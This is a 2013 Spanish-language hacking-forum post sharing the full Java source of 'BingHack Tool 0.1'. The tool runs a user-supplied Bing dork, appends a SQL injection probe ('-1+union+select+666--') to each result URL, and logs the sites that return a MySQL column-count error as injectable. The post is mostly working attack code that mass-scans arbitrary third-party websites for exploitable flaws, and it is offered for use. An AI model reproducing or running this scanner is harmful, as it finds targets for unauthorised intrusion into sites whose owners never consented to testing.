Foro de elhacker.net

Programación => Java => Mensaje iniciado por: BigBear en 13 Enero 2013, 03:39 am



Título: [Java] BingHack Tool 0.1
Publicado por: BigBear en 13 Enero 2013, 03:39 am
Un simple programa para buscar en Bing paginas vulnerables a SQLI.

Código
  1. //
  2. //BingHack Tool 0.1
  3. //Coded By Doddy H
  4. //
  5.  
  6. import java.util.Scanner;
  7. import java.io.*;
  8. import java.net.*;
  9.  
  10. import java.util.regex.Matcher;
  11. import java.util.regex.Pattern;
  12.  
  13. public class Main {
  14.  
  15.    public static void main(String[] args) throws Exception {
  16.  
  17.        String code;
  18.        String tar;
  19.        int x;
  20.        String dork;
  21.        int counte;
  22.        String urlfinal;
  23.  
  24.        Pattern uno = null;
  25.        Matcher dos = null;
  26.  
  27.        Scanner host = new Scanner(System.in);
  28.        System.out.println("\n\n-- == BingHack Tool 0.1 == --\n\n");
  29.        System.out.println("[+] Dork : ");
  30.        dork = host.nextLine();
  31.  
  32.        System.out.println("[+] Count : ");
  33.        counte = host.nextInt();
  34.  
  35.        System.out.println("\n[+] Searching ...\n");
  36.  
  37.        for (x = 10; x <= counte; x = x + 10) {
  38.  
  39.            code = toma("http://www.bing.com/search?q=" + dork + "&first=" + x);
  40.  
  41.            uno = Pattern.compile("<h3><a href=\"(.*?)\"");
  42.            dos = uno.matcher(code);
  43.  
  44.            while (dos.find()) {
  45.  
  46.                urlfinal = cortar(dos.group(1));
  47.  
  48.                sql(urlfinal);
  49.  
  50.            }
  51.  
  52.        }
  53.  
  54.        System.out.println("\n[+] Finished");
  55.        System.out.println("\n-- == Coded By Doddy H == --");
  56.  
  57.    }
  58.  
  59.    private static void savefile(String nombre, String texto) throws Exception {
  60.  
  61.        FileWriter writer = new FileWriter(nombre, true);
  62.        writer.write(texto + "\r\n");
  63.        writer.close();
  64.  
  65.    }
  66.  
  67.    private static void sql(String urla) throws Exception {
  68.  
  69.        String code;
  70.        String mostrar;
  71.  
  72.        Pattern uno = null;
  73.        Matcher dos = null;
  74.  
  75.        mostrar = urla + "-1+union+select+666--";
  76.  
  77.        try {
  78.            code = toma(mostrar);
  79.  
  80.            uno = Pattern.compile("The used SELECT statements have a different number of columns");
  81.            dos = uno.matcher(code);
  82.  
  83.            if (dos.find()) {
  84.                System.out.println("[+] SQLI : " + urla);
  85.                savefile("sql-logs.txt", urla);
  86.            }
  87.  
  88.        } catch (Exception ex) {
  89.        }
  90.  
  91.    }
  92.  
  93.    private static String cortar(String urla) throws Exception {
  94.  
  95.        Pattern uno = null;
  96.        Matcher dos = null;
  97.  
  98.        uno = Pattern.compile("(.*)=(.*)");
  99.        dos = uno.matcher(urla);
  100.  
  101.        if (dos.find()) {
  102.  
  103.            return (dos.group(1) + "=");
  104.        } else {
  105.            return "no tengo idea xDD";
  106.        }
  107.  
  108.    }
  109.  
  110.    private static String toma(String urla) throws Exception {
  111.  
  112.        String re;
  113.  
  114.        StringBuffer conte = new StringBuffer(40);
  115.  
  116.        URL url = new URL(urla);
  117.        URLConnection hc = url.openConnection();
  118.        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  119.  
  120.        BufferedReader nave = new BufferedReader(
  121.                new InputStreamReader(hc.getInputStream()));
  122.  
  123.        while ((re = nave.readLine()) != null) {
  124.            conte.append(re);
  125.        }
  126.  
  127.        nave.close();
  128.  
  129.        return conte.toString();
  130.  
  131.    }
  132. }
  133.  
  134. //The End ?
  135.